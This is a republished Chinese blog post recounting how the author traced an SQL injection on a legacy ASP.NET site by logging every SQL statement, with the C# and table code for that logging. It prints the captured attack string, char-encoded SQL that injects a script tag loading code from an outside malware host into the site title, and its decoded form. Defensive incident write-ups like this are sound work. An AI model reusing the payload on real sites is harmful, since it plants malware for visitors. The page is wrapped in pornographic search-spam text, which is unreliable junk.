精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

記一次成功的SQL注入入侵檢測附帶SQL性能優化

運維 數據庫運維
很多同學和園友都遇到過SQL注入的,其中大部分都是代碼的不嚴謹造成的,都是犯過很多錯誤才學會認真起來。

很多同學和園友都遇到過sql注入的,其中大部分都是代碼的不嚴謹造成的,都是犯過很多錯誤才學會認真起來。

但是如果是讓你接手一個二等殘廢的網站,并讓你在上面改版,而且不能推翻式改版,只能逐步替換舊的程序,那么你會非常痛苦,例如我遇到的問題:

問題1.

老板對你說,以前剛做完網站好好了,沒有出現木馬,怎么你來了,就會出現木馬,先別說了,趕緊解決問題,我徹底無語,但是如果爭吵,其實證明你和老板一樣無知,拿出證據和事實分析來讓公司其他稍微懂技術的一起來證明,公司網站被掛馬不是你來了的錯。

如是我通過網站目錄仔細排查將通過fck上傳的網馬刪除并修補fck的上傳漏洞并記下了這篇  Fckeditor使用筆記 ,其實很多人都遇到過,也解決過,都是小問題,但是讓你老板明白比解決漏洞問題更蛋疼,我那解釋的叫一個汗啊,恨不得把公司所有稍微懂點技術的都叫上讓他們看什么是大馬什么是小馬,然后演示怎么上傳木馬,奶奶的,黑客教程普及啊。

問題2.  

網站又出現問題,上次的問題解決了不過兩個月,網站又被入侵掛馬,如是老板這次再說因為我來了才出問題,立馬走人,這就是為什么不能更不懂技術的人硬碰硬,更不能和你的老板來說,說了你又不懂。

但是要命的是網站是以前的技術開發的二等殘廢,在別個的cms上修改的,我必須保證網站在的開發的同時舊的模塊還可以使用,通過逐步更新的方法將網站底層翻新,但是那么多頁面,你很難一個一個去檢測那個頁面有漏洞,如是寫出下面的檢測代碼,沒想到這么簡單的就搞定了,并且可以通過此方法優化你的sql。

第一步建立一個sql日志表

  1. CREATE TABLE [dbo].[my_sqllog](  
  2.     [id] [bigint] IDENTITY(1,1) NOT NULL,  
  3.     [hit] [bigintNULL,  
  4.     [sqltext] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  5.     [paramdetails] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  6.     [begintime] [datetime] NULL,  
  7.     [endtime] [datetime] NULL,  
  8.     [fromurl] [varchar](maxCOLLATE Chinese_PRC_CI_AS NULL,  
  9.     [ip] [varchar](20) COLLATE Chinese_PRC_CI_AS NULL,  
  10.     [lastelapsedtime] [bigintNULL,  
  11.  CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED   
  12. (  
  13.     [id] ASC 
  14. )WITH (IGNORE_DUP_KEY = OFFON [PRIMARY]  
  15. ON [PRIMARY

記錄sql語句、此sql語句被執行次數,參數及值,記錄開始時間,結束時間,來自哪個頁面,ip和此條語句執行時間(暫時沒用)

第二步在sqlhelper里寫記錄代碼

兩個方法本來可以寫成private的,但是此二等殘廢的網站其他地方用的別的sqlhelper類,就直接調用此處通過合理優化的sqlhelper類的方法了。

代碼1:插入日志

  1. public static int ExecuteSqlLog(CommandType commandType, string commandText, params DbParameter[] cmdParams)  
  2.         {  
  3.             #region 參數處理  
  4.             string colums = "";  
  5.             string dbtypes = "";  
  6.             string values = "";  
  7.             string paramdetails = "";  
  8.  
  9.  
  10.             if (cmdParams != null && cmdParams.Length > 0)  
  11.             {  
  12.                 foreach (DbParameter param in cmdParams)  
  13.                 {  
  14.                     if (param == null)  
  15.                     {  
  16.                         continue;  
  17.                     }  
  18.  
  19.                     colums += param.ParameterName + " ";  
  20.                     dbtypes += param.DbType + " ";  
  21.                     values += param.Value + ";";  
  22.                 }  
  23.  
  24.                 paramdetails = string.Format(" {0},{1},{2}", colums, dbtypes, values);  
  25.             }  
  26.             string fromurl = "";  
  27.             if (System.Web.HttpContext.Current!=null)  
  28.             {  
  29.                 fromurl = System.Web.HttpContext.Current.Request.Url.ToString();  
  30.             }  
  31.            // commandText = commandText.Replace("'","‘").Replace(";",";");  
  32.             SqlParameter[] parameters = new SqlParameter[]  
  33.                                           {  
  34.                                               new SqlParameter("@hit",1),  
  35.                                               new SqlParameter("@sqltext",commandText),  
  36.                                               new SqlParameter("@paramdetails",paramdetails),  
  37.                                               new SqlParameter("@begintime",DateTime.Now),  
  38.                                               new SqlParameter("@endtime",DateTime.Now),  
  39.                                               new SqlParameter("@fromurl",fromurl),  
  40.                                               new SqlParameter("@ip",Web.PressRequest.GetIP()),  
  41.                                               new SqlParameter("@lastelapsedtime",0),   
  42.                                           };  
  43.  
  44.              
  45.             #endregion  
  46.  
  47.             using (DbConnection connection = Factory.CreateConnection())  
  48.             {  
  49.                 connection.ConnectionString = GetRealConnectionString(commandText);//ConnectionString;  
  50.  
  51.                 string sql = "";  
  52.  
  53.                 // 執行DbCommand命令,并返回結果.  
  54.                 int id =  
  55.                     Utils.TypeConverter.ObjectToInt(ExecuteScalarLog(CommandType.Text,  
  56.                                                                   "select top 1 id from my_sqllog where sqltext=@sqltext",  
  57.                                                                   new SqlParameter("@sqltext", commandText)));  
  58.                 if (id > 0)  
  59.                 {  
  60.                     sql = "update my_sqllog set hit=hit+1,ip=@ip,endtime=@endtime,fromurl=@fromurl where id=" + id;  
  61.                 }  
  62.                 else 
  63.                 {  
  64.                     sql = "insert into my_sqllog(hit,sqltext,paramdetails,begintime,endtime,fromurl,ip,lastelapsedtime) values(@hit,@sqltext,@paramdetails,@begintime,@endtime,@fromurl,@ip,@lastelapsedtime)";  
  65.                 }  
  66.                 // 創建DbCommand命令,并進行預處理  
  67.                 DbCommand cmd = Factory.CreateCommand();  
  68.                 bool mustCloseConnection = false;  
  69.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, sql, parameters, out mustCloseConnection);  
  70.                 // 執行DbCommand命令,并返回結果.  
  71.                 int retval = cmd.ExecuteNonQuery();  
  72.  
  73.                 // 清除參數,以便再次使用.  
  74.                 cmd.Parameters.Clear();  
  75.                 if (mustCloseConnection)  
  76.                     connection.Close();  
  77.                 return retval;  
  78.             }  
  79.  
  80.  
  81.             
  82.         }  

代碼2:判斷此條sql是否存在

  1. private static object ExecuteScalarLog( CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2.         {  
  3.  
  4.             if (ConnectionString == null || ConnectionString.Length == 0) throw new ArgumentNullException("ConnectionString");  
  5.             // 創建并打開數據庫連接對象,操作完成釋放對象.  
  6.             using (DbConnection connection = Factory.CreateConnection())  
  7.             {  
  8.                 if (connection == null) throw new ArgumentNullException("connection");  
  9.  
  10.                 //connection.Close();  
  11.                 connection.ConnectionString = GetRealConnectionString(commandText);  
  12.                 connection.Open();  
  13.  
  14.                 // 創建DbCommand命令,并進行預處理  
  15.                 DbCommand cmd = Factory.CreateCommand();  
  16.  
  17.                 bool mustCloseConnection = false;  
  18.                 PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  19.  
  20.                 // 執行DbCommand命令,并返回結果.  
  21.                 object retval = cmd.ExecuteScalar();  
  22.  
  23.                 // 清除參數,以便再次使用.  
  24.                 cmd.Parameters.Clear();  
  25.  
  26.                 if (mustCloseConnection)  
  27.                     connection.Close();  
  28.  
  29.                 return retval;  
  30.             }  
  31.  
  32.         }  

第三部在你的每個執行sql語句的方法里加入以下代碼,不管是ExecuteScalar、ExecuteReader還是ExecuteNonQuery等等都加上

  1. //執行sql之前進行日志記錄操縱  
  2.   int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters); 

代碼示例:

  1. public static object ExecuteScalar(DbConnection connection, CommandType commandType, string commandText, params DbParameter[] commandParameters)  
  2. {  
  3.     if (connection == null) throw new ArgumentNullException("connection");  
  4.  
  5.     //connection.Close();  
  6.     connection.ConnectionString = GetRealConnectionString(commandText);  
  7.     connection.Open();  
  8.  
  9.     // 創建DbCommand命令,并進行預處理  
  10.     DbCommand cmd = Factory.CreateCommand();  
  11.  
  12.     bool mustCloseConnection = false;  
  13.     PrepareCommand(cmd, connection, (DbTransaction)null, commandType, commandText, commandParameters, out mustCloseConnection);  
  14.     //執行sql之前進行日志記錄操縱  
  15.     int log = ExecuteSqlLog(CommandType.Text, commandText, commandParameters);  
  16.     // 執行DbCommand命令,并返回結果.  
  17.     object retval = cmd.ExecuteScalar();  
  18.  
  19.     // 清除參數,以便再次使用.  
  20.     cmd.Parameters.Clear();  
  21.  
  22.     if (mustCloseConnection)  
  23.         connection.Close();  
  24.  
  25.     return retval;  
  26. }  

然后你會發現入侵的入口被記錄下來了,后面方框里的就是構造注入的sql

 

構造sql如下:

  1. 39191+update+my_websetting+set+websitetitle=REPLACE(cast(websitetitle+as+varchar(8000)),cast(char(60)+char(47)+char(116)+char(105)+char(116)+char(108)+char(101)+char(62)+char(60)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(32)+char(115)+char(114)+char(99)+char(61)+char(104)+char(116)+char(116)+char(112)+char(58)+char(47)+char(47)+char(100)+char(102)+char(114)+char(103)+char(99)+char(99)+char(46)+char(99)+char(111)+char(109)+char(47)+char(117)+char(114)+char(46)+char(112)+char(104)+char(112)+char(62)+char(60)+char(47)+char(115)+char(99)+char(114)+char(105)+char(112)+char(116)+char(62)+as+varchar(8000)),cast(char(32)+as+varchar(8)))-- 

轉碼后變成這樣了:

  1. update my_websetting set websitetitle=REPLACE(cast(websitetitle as varchar(8000)),websitetitle+'</title><script src=http://dfrgcc.com/ur.php></script>'

這個就是木馬地址,沒事你就別點了,好奇害死貓。

小 結:     

既然知道入口就知道怎么補救了吧,把string類型該過濾的都過濾掉,int類型的就得是int類型,別讓數據庫替你隱式轉。通過此sql日志記錄,你應該發現一點那個hit還是有點價值的。

通過select top 100 * from my_sqllog order by hit desc你會發現你寫的那么多sql原來真垃圾,在條件允許的情況下干嘛不把它放到緩存里。所以后來我寫的sql基本不在這top 100里。

拋磚引玉,望高手批評,以上入侵方法希望剛學習做程序員的同學不要用來欺負小網站,傷不起。

原文鏈接:http://www.cnblogs.com/jqbird/archive/2011/09/25/2190332.html

【編輯推薦】

  1. NoSQL數據庫漸入佳境 國內應用案例盤點
  2. 數據庫遷移之何去何從
  3. 教你五步優化你的MongoDB
  4. 數據庫緩存重建不容忽視
  5. SQL Server數據庫恢復案例分享
責任編輯:艾婧 來源: jqbird的博客
相關推薦

2021-07-30 07:28:16

SQL優化日志

2020-02-10 10:15:31

技術研發指標

2017-11-30 09:52:26

SQLSQL Monitor查詢優化

2019-12-16 07:18:42

數據庫SQL代碼

2009-07-19 10:24:14

2011-02-22 09:29:23

jQueryJavaScript

2020-06-05 08:53:31

接口性能實踐

2020-08-10 11:00:02

Python優化代碼

2022-09-14 12:01:35

服務器入侵篡改,

2015-07-17 10:04:33

MKMapView優化

2019-08-01 15:05:22

2019-09-27 17:24:26

數據庫優化sql

2021-01-08 13:52:15

Consul微服務服務注冊中心

2021-08-26 22:26:55

性能優化技術

2023-01-05 11:44:43

性能HTTPS

2019-04-04 15:00:40

SQL索引數據庫

2011-08-12 09:30:02

MongoDB

2022-02-17 11:19:33

Kubernetes服務器運維

2015-03-18 13:18:45

MySQLSQL優化

2017-07-10 07:55:50

虛擬化Windows IO云計算
點贊
收藏

51CTO技術棧公眾號

亚洲视频一区在线| 另类尿喷潮videofree| 久久久不卡网国产精品一区| 91成人在线观看国产| 青青草视频成人| 亚洲天堂导航| 国产人妖乱国产精品人妖| 国产精品自产拍在线观| 少妇aaaaa| 欧美巨大xxxx| 黑人精品xxx一区| 偷拍视频一区二区| 国产ts人妖调教重口男| 亚洲三级视频| 色av中文字幕一区| 色综合久久久无码中文字幕波多| 成人午夜视屏| 亚洲欧洲性图库| 狠狠色伊人亚洲综合网站色| 亚洲精品久久久久久久蜜桃| 欧美~级网站不卡| 日韩国产欧美精品在线| 在线观看免费av网址| 黑森林国产精品av| 欧美国产日本视频| 成人免费91在线看| 99成人精品视频| 黄色欧美成人| 亚洲精品黄网在线观看| 精品999在线| 国产精选在线| 亚洲视频免费看| 久久婷婷人人澡人人喊人人爽| 亚洲视频久久久| 亚洲最新色图| 亚洲图片欧美日产| 成人做爰69片免费| 久久天堂影院| 日本乱人伦aⅴ精品| 99在线观看视频免费| jizzjizz在线观看| 本田岬高潮一区二区三区| 国产精品视频播放| 中文字幕第15页| 欧美激情日韩| 日韩视频免费中文字幕| 国精产品一区二区三区| 精品在线网站观看| 欧美一区二区精美| 911av视频| 欧美影视资讯| 色呦呦网站一区| av在线播放亚洲| 国产美女在线观看| 国产精品无码永久免费888| 蜜桃狠狠色伊人亚洲综合网站| 99在线精品视频免费观看20| 六月丁香综合在线视频| 国产精品久久久精品| 国产亚洲精品码| 一本一本久久a久久综合精品| 一区二区成人精品| 偷偷色噜狠狠狠狠的777米奇| 精品一区二区三区中文字幕视频 | 黄色网址在线播放| 高清成人免费视频| 国产美女精彩久久| 亚洲大尺度在线观看| 日韩在线卡一卡二| 91精品国产高清久久久久久| 日韩成人一区二区三区| 国产一在线精品一区在线观看| 俺也去精品视频在线观看| 亚洲a v网站| 欧美精品乱码| 中文字幕精品www乱入免费视频| 免费看黄色的视频| 国产亚洲精品美女久久久久久久久久| 亚洲欧美一区二区三区在线| 无遮挡aaaaa大片免费看| 日韩超碰人人爽人人做人人添| 精品久久久久久久一区二区蜜臀| 久久精品无码专区| 久久亚洲道色| 亚洲国产精品成人一区二区| 日本少妇xxxx| 亚洲国产合集| 国产一区二区三区久久精品| 91社区视频在线观看| 99精品电影| 俺去了亚洲欧美日韩| 欧美日韩精品亚洲精品| 在线日韩欧美| 国产成人在线视频| 在线免费观看视频网站| 国产一区激情在线| 高清av免费一区中文字幕| 天天射,天天干| 久久久.com| 久久天天狠狠| 日本黄色片在线观看| 一区二区三区国产豹纹内裤在线| av在线播放天堂| 毛片电影在线| 色婷婷综合中文久久一本| 久久国产这里只有精品| 一区视频网站| 亚洲色图激情小说| 亚洲综合网在线| 午夜在线a亚洲v天堂网2018| 国产精品免费网站| 亚洲精品综合网| 国产日韩av一区二区| 久久免费看毛片| 国内精品不卡| 精品欧美激情精品一区| av中文字幕网址| 激情小说亚洲色图| 日韩综合中文字幕| 粉嫩aⅴ一区二区三区| 久久av一区| 5566中文字幕一区二区| 免费毛片在线| 亚洲精品国产成人久久av盗摄| 人妻少妇精品久久| 在线视频成人| 亚洲国产精品久久久久秋霞蜜臀 | 刘亦菲一区二区三区免费看| 欧美日韩成人在线一区| 欧美国产日韩在线视频| 免费成人av| 欧美激情欧美狂野欧美精品| 日批视频免费观看| av不卡免费电影| 五月天丁香综合久久国产| 宅男在线观看免费高清网站| 色综合一个色综合亚洲| www.偷拍.com| 青青草97国产精品麻豆| 7777精品视频| 精品人妻一区二区三区含羞草| 欧美激情综合五月色丁香小说| 亚洲欧美久久234| 欧美精品日日操| 亚洲第一综合天堂另类专| 国产又粗又硬又长又爽| 日日夜夜免费精品| 蜜桃av噜噜一区二区三| 成人毛片av在线| 色哟哟欧美精品| 日韩aaaaa| 国产精品国码视频| 亚洲自拍偷拍区| 午夜视频在线免费观看| 91福利视频在线| 在线黄色免费网站| 国产一区日韩欧美| 超碰97人人在线| 国产在线看片| 欧美精品粉嫩高潮一区二区| 欧美aaa级片| 秋霞午夜av一区二区三区| 欧美日韩精品久久| 国产美女高潮在线观看| 精品国产一区二区三区av性色| 国产精品久久久精品四季影院| 精品在线视频一区| 一区二区三区日韩视频| 精品视频在线一区二区在线| 亚洲午夜性刺激影院| 久久久黄色大片| 久久精品人人做人人综合| 国产又大又硬又粗| 欧美wwwwww| 91成人在线观看国产| 日本高清视频免费观看| 无吗不卡中文字幕| 国产制服丝袜在线| 久久精品二区三区| 亚洲一区不卡在线| 国产精品99久久免费| 欧美超级乱淫片喷水| 亚洲国产成人在线观看| 狠狠色狠狠色综合日日五| 国产第一页精品| 国产毛片精品一区| 无码中文字幕色专区| 天天躁日日躁狠狠躁欧美巨大小说| 欧美综合激情网| 午夜激情视频在线观看| 欧美精品久久99久久在免费线 | www..com国产| 久久久久88色偷偷免费| 在线免费视频一区| 欧美激情综合| 96成人在线视频| 亚洲一区资源| 久久中文久久字幕| 人人妻人人澡人人爽久久av| 91久久国产综合久久| 国产aaaaaaaaa| 国产在线不卡视频| 逼特逼视频在线| 希岛爱理av一区二区三区| 国产精品免费一区二区三区在线观看| 牛牛精品一区二区| 日韩中文字幕网站| 欧美 日韩 综合| 91麻豆精品国产91| 成人h动漫精品一区二区下载| 一色屋精品亚洲香蕉网站| 国产一级伦理片| 久久电影网站中文字幕| 成人网站免费观看入口| 日韩欧美午夜| 国产伦精品一区二区三区视频孕妇 | 老司机亚洲精品一区二区| 午夜精品久久久久久久99热 | 日韩黄色碟片| 91精品国产91久久久久久| 黄色av网址在线免费观看| 欧美成人aa大片| 国产美女www爽爽爽| 亚洲一区二区不卡免费| 日本乱子伦xxxx| a美女胸又www黄视频久久| www.com久久久| 丝袜脚交一区二区| 国产aaa免费视频| 天天做综合网| 日本一区精品| 国产精品极品在线观看| 亚洲影院色无极综合| 亚洲欧美在线成人| 久久久久久久久久国产| 久久五月精品| 在线精品91av| 国产精品秘入口| 亚洲成人精品在线| 精品国产99久久久久久宅男i| 一本大道久久a久久精二百| 国产乡下妇女做爰视频| 亚洲综合男人的天堂| 欧洲美女女同性互添| 中文子幕无线码一区tr | thepron国产精品| 久久久久久久久久毛片| 日本人妖一区二区| 日韩人妻精品无码一区二区三区| 一区精品久久| 成人午夜视频在线观看免费| 真实国产乱子伦精品一区二区三区| www.-级毛片线天内射视视| jizzjizz欧美69巨大| 欧美人与物videos另类| 欧美日韩麻豆| 狠狠色狠狠色综合人人| 亚洲成在人线免费观看| 九九九九九九精品| 精品视频在线你懂得| 成人动漫视频在线观看免费| 免费观看亚洲天堂| 2014亚洲精品| 97品白浆高清久久久久久| 96精品久久久久中文字幕| 精品久久亚洲| 草莓视频一区| 蜜臀久久久久久久| 日韩av网站免费在线| 国产精品久久久久9999爆乳| 91嫩草亚洲精品| 亚洲精品久久久久久一区二区| 久久不见久久见国语| 欧美极品色图| 亚洲动漫在线观看| 日本欧洲国产一区二区| 欧美人妖在线| 亚洲国产高清国产精品| 大片网站久久| 一区二区三区欧美成人| 97久久夜色精品国产| 亚洲不卡1区| 日韩一区二区在线免费| 强伦女教师2:伦理在线观看| 欧美成人午夜| 波多野结衣之无限发射| 天堂在线一区二区| 国产精品久久久久久久99| 国产成人精品网址| 亚洲一级av无码毛片精品| 久久久www免费人成精品| 国产极品视频在线观看| 亚洲高清久久久| 日韩在线播放中文字幕| 欧美日韩中文字幕一区| 国产精品伊人久久| 欧美一区二区三区免费大片 | 免费一级在线观看播放网址| 中文在线资源观看视频网站免费不卡| 午夜在线观看视频| 777精品视频| 久久伊人国产| 国产伦精品一区| 国产99久久精品一区二区300| 日韩精品久久一区| 欧美日韩p片| av无码精品一区二区三区| 国产一区二区三区日韩| 国产国语性生话播放| 国产精品视频观看| 精品成人av一区二区在线播放| 欧美日韩中文字幕精品| 深夜福利视频网站| 视频在线一区二区| 888av在线视频| 国产精品视频地址| 激情小说亚洲色图| 在线免费观看成人网| 国产亚洲精品自拍| 佐佐木明希电影| 国产精品欧美综合在线| 国产成人精品网| 欧美一区二区视频在线观看2020 | 日韩av电影天堂| 人妻互换一二三区激情视频| 国产精品三级电影| 日韩黄色一级大片| 欧美一级爆毛片| 在线观看免费版| 日本一欧美一欧美一亚洲视频| 日韩欧美中文字幕一区二区三区| 国产日韩一区二区三区| 国产精品久久观看| 中文字幕在线导航| 91蜜桃网址入口| 欧美成人黄色网| 91精品国产丝袜白色高跟鞋| 美国一级片在线免费观看视频| 色综合久久88色综合天天看泰| 久久精品资源| 麻豆精品蜜桃一区二区三区| 亚洲韩日在线| 亚洲AV成人精品| 亚洲精品一卡二卡| 国产又粗又黄又爽的视频| 最新日韩中文字幕| 日韩欧美一区二区三区在线观看 | 国产成人在线影院| 在线观看美女av| 欧美日韩1区2区| 欧美18xxxxx| 国产mv免费观看入口亚洲| 日韩高清成人在线| 免费观看美女裸体网站| 国产a视频精品免费观看| 免费中文字幕视频| 欧美成人vps| xxxx另类黑人| 国产中文一区二区| 亚洲一区国产| 国产亚洲无码精品| 色婷婷亚洲综合| 午夜视频在线播放| 日本国产高清不卡| 免费毛片在线不卡| 人人爽人人av| 中文在线免费一区三区高中清不卡| 中文字幕在线播放日韩| www.久久色.com| 欧美国产中文高清| 97久久国产亚洲精品超碰热| 国产成人av一区二区| 久久久精品视频在线| 欧美精品一区二区三区高清aⅴ| 欧美aaa免费| 免费久久99精品国产自| 日本亚洲视频在线| 色婷婷粉嫩av| 日韩一区二区三区视频| 密臀av在线播放| 欧美在线一二三区| 麻豆成人免费电影| 国产精品视频一区二区三| 精品免费99久久| 成人欧美大片| 中文字幕一区二区三区四区五区六区 | 日韩av网站导航| 超薄肉色丝袜脚交一区二区| 污视频在线免费观看一区二区三区 | 国产精品777777在线播放| 日本高清xxxx| 91理论电影在线观看| 中文无码av一区二区三区| 美女视频久久黄| 国产精品久av福利在线观看| 色片在线免费观看| 一区二区三区四区亚洲| 亚洲人视频在线观看| 成人黄色在线免费| 亚洲无线一线二线三线区别av|